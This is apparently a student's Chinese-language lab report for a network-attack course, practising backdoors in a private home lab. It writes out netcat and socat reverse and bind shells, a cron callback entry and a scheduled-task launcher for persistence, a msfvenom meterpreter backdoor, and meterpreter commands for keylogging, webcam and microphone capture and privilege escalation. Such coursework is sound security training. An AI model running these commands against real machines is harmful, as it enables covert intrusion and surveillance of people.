20155320《网络对抗》Exp2 后门原理与实践
【实验内容】 (3.5分)
-
(1)使用netcat获取主机操作Shell,cron启动
-
(2)使用socat获取主机操作Shell, 任务计划启动
-
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
常用后门工具实践
【准备】
-
在主机上用
ipconfig
查看主机IP为192.168.19.1
-
在kali上用
ifconfig
查看虚拟机IP为192.168.19.128
【使用netcat获取主机操作Shell,cron启动 】
在老师提供的附件中下载ncat
Win获得Linux Shell
- 1.在主机的windows上打开监听,
-l
是监听,-p
代表端口号
ncat.exe -l -p 5320
- 2.Linux反弹连接win
nc 192.168.19.1 5320 -e /bin/sh
- 然后直接在windows上接着就可以输命令了,例如ls就可以查看虚拟机里的目录了。
Linux获得Win Shell
1.首先在Linux运行指令nc -l -p 5320,打开5320端口
2.在Windows上运行指令ncat.exe -e cmd.exe 192.168.19.128 5320反弹连接到Linux
3.此时在Linux下就可以看到得到的是Windows的命令提示,输入dir指令,就可以得到当前windows下的目录
cron启动
- 关于cron
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令
-
输入crontab -e给crontab指令增加一条定时任务,其中"-e"表示编辑。
-
若是第一次编辑,会提示选择编辑器,可选择了3,进入编辑器后在最后一行添加了最后一行如下(因为我之前做过一次,所以没有提示选择编辑器),因为当时是过1分钟,所以我设定的是每个小时的第5分钟执行后边的那条指令。
5 * * * * /bin/netcat 192.168.19.1 5320 -e /bin/sh
- 退出保存,等到每个小时到了第5分钟,上面的那条指令就会执行,在windows下就能获得linux下的shell。
【使用socat获取主机操作Shell, 任务计划启动】
在老师提供的附件中下载socat
关于socat
- socat是ncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options是可选项。
- socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
实验过程
- 在Windows系统下,打开控制面板->管理工具->任务计划程序->操作->创建任务,填写任务名称后,新建一个触发器,选择工作站锁定。
- 在操作这个页面下选择你的socat.exe文件的路径,在浏览一栏选择socat.exe所在位置,在添加参数一栏填写tcp-listen:5320 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5320,同时把cmd.exe的stderr重定向到stdout上.
-
创建完成之后,通过右键自己创建的任务,点击运行使得任务开始运行
-
接着在Kali中输入指令socat - tcp:192.168.19.1:5320,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5320端口,此时可以发现已经成功获得了一个cmd shell
【使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell】
- 在kali输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.19.128 LPORT=5320 -f exe > 5320_backdoor.exe
在linux下生成后门程序。
- 接下来我尝试了用老师的方法通过nc指令将生成的后门程序传送到Windows主机上,但是出现导不过去的情况,我之后选择手动复制了后门程序到windows上。
- 在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,用set命令设置反弹回连的IP和端口
PS: MSF进行监听进程的过程如下
msfconsole:进入msf
use exploit/multi/handler:进入handler模式
set payload windows/meterpreter/reverse_tcp:设置payload
show options:查看当前信息状态
set LHOST 192.168.139.128:设置LHOST
set LPORT 5326:设置LPORT
exploit:MSF开始监听
- 完成以上配置后,输入exploit开始监听
- 此时在windows上运行后门程序(此时一定要关杀毒软件,否则软件就会删掉程序,实测如此...),kali即可远程控制windows。
【使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 】
- 用
record_mic
指令可以截获一段音频
- 用webcam_snap指令可以使用摄像头进行拍照,但是由于我的摄像头本来就有问题,就是只亮灯没有画面,查找了资料也解决不了那个731错误,摄像头始终只能亮工作灯。
- 用webcam stream指令可以使用摄像头进行录像,结果和拍照一样只能亮工作灯
- 用screenshot指令可以进行截屏,截屏如下
- 用
keyscan_start
指令开始录下击键的过程,使用keyscan_dump
指令读取击键的记录。
- 用getuid指令查看当前用户,使用getsystem指令进行提权。查找资料可能因为我用的windows版本号时win10,所以提权失败。
【基础问题回答】
-
(1)例举你能想到的一个后门进入到你系统中的可能方式?
通过将后门程序绑定到网站上,通过点击网站触发自动下载到系统中
-
(2)例举你知道的后门如何启动起来(win及linux)的方式?
1.通过手动触发
2.通过在远程控制在cmd或shell上运行命令触发
3.或者类似这次的cron启动的方式,按时自动触发启动
-
(3)Meterpreter有哪些给你映像深刻的功能?
可以拍照,录像,录音,感觉可以监控的感觉,很厉害
-
(4)如何发现自己有系统有没有被安装后门?
1.通过杀毒软件查杀
2.通过看啥注册表任务管理器之类的看有没有什么异常启动的程序
【实验总结】
这次实验感觉很有趣,让我终于感受到了技术的乐趣,虽然是通过老师教授的方法学会简单的获取靶机的shell或者是用后门远程控制靶机,但是还是感觉有一种当黑客的感觉,尤其是可以通过meterpreter操作摄像头,感觉很厉害,虽然我们这次实验用的后门如果不关闭杀毒软件就会被查杀,但是还是给我们很大提醒,要加强安全防范。